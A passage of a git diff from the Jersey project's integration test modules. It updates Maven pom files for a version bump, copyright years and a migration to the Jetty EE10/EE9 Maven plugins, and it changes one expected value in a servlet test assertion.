<config>${basedir}/src/main/resources/jetty/realm.properties</config> + <config implementation="org.eclipse.jetty.maven.MavenResource"> + <resourceAsString>${basedir}/src/main/resources/jetty/realm.properties</resourceAsString> + </config> </loginService> </loginServices> </configuration>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml index a369114..6b1e7be 100644 --- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml +++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-autodiscovery-1</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml index 1f068a0..c3a4318 100644 --- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml +++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-autodiscovery-2</artifactId> @@ -67,8 +67,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml index 2d07e5e..396c2dd 100644 --- a/tests/integration/servlet-2.5-filter/pom.xml +++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-filter</artifactId> @@ -60,8 +60,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml index 2a94b1a..a4d0f5b 100644 --- a/tests/integration/servlet-2.5-inflector-1/pom.xml +++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-inflector-1</artifactId> @@ -43,7 +43,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -65,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml index 6a774f3..165eb8f 100644 --- a/tests/integration/servlet-2.5-init-1/pom.xml +++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-1</artifactId> @@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -63,8 +62,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java index c44f34a..d3c0e0e 100644 --- a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java +++ b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -87,7 +87,7 @@ @Test public void testInjection() { String s = target().path("servlet_path/helloworld/injection").request().get(String.class); - assertEquals("GETtruetestServlet1testServlet1/", s); + assertEquals("GETtruetestServlet1testServlet1ROOT", s); } // Reproducer for JERSEY-1801
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml index a60c25a..7fdd702 100644 --- a/tests/integration/servlet-2.5-init-2/pom.xml +++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-2</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml index f9d667b..24b2193 100644 --- a/tests/integration/servlet-2.5-init-3/pom.xml +++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-3</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml index cc145f5..1498e81 100644 --- a/tests/integration/servlet-2.5-init-4/pom.xml +++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-4</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml index 8df42ce..8bd5555 100644 --- a/tests/integration/servlet-2.5-init-5/pom.xml +++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-5</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml index c68d868..1147fc0 100644 --- a/tests/integration/servlet-2.5-init-6/pom.xml +++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-6</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml index 4b50bd7..28567bc 100644 --- a/tests/integration/servlet-2.5-init-7/pom.xml +++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-7</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml index 2ad88bc..f50bb0e 100644 --- a/tests/integration/servlet-2.5-init-8/pom.xml +++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-init-8</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml index 8193179..57d34b3 100644 --- a/tests/integration/servlet-2.5-mvc-1/pom.xml +++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-mvc-1</artifactId> @@ -57,7 +57,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -78,8 +77,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee9</groupId> + <artifactId>jetty-ee9-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml index 88ee7f4..43839cf 100644 --- a/tests/integration/servlet-2.5-mvc-2/pom.xml +++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-mvc-2</artifactId> @@ -57,7 +57,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -78,8 +77,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml index 30a7831..3779fbd 100644 --- a/tests/integration/servlet-2.5-mvc-3/pom.xml +++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-mvc-3</artifactId> @@ -57,7 +57,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -78,8 +77,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee9</groupId> + <artifactId>jetty-ee9-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml index d19047d..af13afd 100644 --- a/tests/integration/servlet-2.5-reload/pom.xml +++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-2.5-reload</artifactId>
diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml index c61d313..7c29b93 100644 --- a/tests/integration/servlet-3-async/pom.xml +++ b/tests/integration/servlet-3-async/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-async</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-chunked-io/pom.xml b/tests/integration/servlet-3-chunked-io/pom.xml index eb2e704..6f956d1 100644 --- a/tests/integration/servlet-3-chunked-io/pom.xml +++ b/tests/integration/servlet-3-chunked-io/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-chunked-io</artifactId> @@ -65,8 +65,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-filter/pom.xml b/tests/integration/servlet-3-filter/pom.xml index e1e7d0f..bc2fa1a 100644 --- a/tests/integration/servlet-3-filter/pom.xml +++ b/tests/integration/servlet-3-filter/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-filter</artifactId> @@ -61,8 +61,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-gf-async/pom.xml b/tests/integration/servlet-3-gf-async/pom.xml index 351a4fd..216cccf 100644 --- a/tests/integration/servlet-3-gf-async/pom.xml +++ b/tests/integration/servlet-3-gf-async/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-gf-async</artifactId>
diff --git a/tests/integration/servlet-3-inflector-1/pom.xml b/tests/integration/servlet-3-inflector-1/pom.xml index ed0c95a..2d3caf4 100644 --- a/tests/integration/servlet-3-inflector-1/pom.xml +++ b/tests/integration/servlet-3-inflector-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-inflector-1</artifactId> @@ -43,7 +43,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -65,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-1/pom.xml b/tests/integration/servlet-3-init-1/pom.xml index 0f67fa0..b5a8fa4 100644 --- a/tests/integration/servlet-3-init-1/pom.xml +++ b/tests/integration/servlet-3-init-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-1</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-2/pom.xml b/tests/integration/servlet-3-init-2/pom.xml index e419e13..8ab5315 100644 --- a/tests/integration/servlet-3-init-2/pom.xml +++ b/tests/integration/servlet-3-init-2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-2</artifactId> @@ -64,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-3/pom.xml b/tests/integration/servlet-3-init-3/pom.xml index 9a8b541..b2e2e94 100644 --- a/tests/integration/servlet-3-init-3/pom.xml +++ b/tests/integration/servlet-3-init-3/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-3</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-4/pom.xml b/tests/integration/servlet-3-init-4/pom.xml index aa74996..9fc4983 100644 --- a/tests/integration/servlet-3-init-4/pom.xml +++ b/tests/integration/servlet-3-init-4/pom.xml
